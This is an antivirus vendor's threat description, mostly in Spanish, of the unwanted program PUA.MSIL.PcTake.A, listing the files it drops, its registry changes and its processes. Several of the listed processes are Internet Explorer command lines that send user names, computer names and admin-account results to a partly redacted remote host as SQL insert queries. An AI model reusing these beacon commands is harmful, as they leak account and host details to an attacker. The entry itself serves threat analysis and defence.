PUA.MSIL.PcTake.A

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %User Temp%\~DF{random characters}
• %AppDataLocal%\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{GUID}.dat
• %System Root%\tmp
• %AppDataLocal%\Microsoft\Internet Explorer\Recovery\High\Active\{GUID}.dat
• %Temporary Internet Files%\Content.IE5\0S3ALP6V\favicon[2].ico
• %AppDataLocalLow%\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
• %AppDataLocal%\Microsoft\Windows\History\History.IE5\MSHist012022051820220519\index.dat

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Agrega los procesos siguientes:

• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpwduid values('{User Name}','{Computer Name}','Add domain admins success',default)
• cmd /c ping {Computer Name} > c:\tmp
• ping {Computer Name}
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" SCODEF:{PID} CREDAT:14337
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpctaking values('{Computer Name}','{Computer Name}\Administrator','{User Name}','fe80',default)
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpctaking values('{Computer Name}','{Computer Name}\{User Name}','{User Name}','fe80',default)
• "%Program Files%\Internet Explorer\IEXPLORE.EXE" http://{BLOCKED}uto/intodb.asp?sql=insert into Tlocadmpwduid values('{User Name}','{Computer Name}','RESET Fail > Automation error',default)

Otras modificaciones del sistema

Elimina los archivos siguientes:

• %AppDataLocal%\Microsoft\Windows\History\History.IE5\MSHist012022051820220519\index.dat

Elimina las carpetas siguientes:

• %AppDataLocal%\Microsoft\Windows\History\History.IE5\MSHist012022051820220519

Otros detalles

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
5.0\Cache\Extensible Cache\
MSHist012022051820220519 → deleted afterwards

It connects to the following possibly malicious URL:

• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpwduid%20values('{User Name}','{Computer Name}','Add%20domain%20admins%20success',default)
• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpctaking%20values('{Computer Name}','{Computer Name}\Administrator','{User Name}','fe80',default)
• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpctaking%20values('{Computer Name}','{Computer Name}\{User Name}','{User Name}','fe80',default)
• http://{BLOCKED}uto/intodb.asp?sql=insert%20into%20Tlocadmpwduid%20values('{User Name}','{Computer Name}','RESET%20Fail%20>%20Automation%20error',default)
• http://{BLOCKED}avicon.ico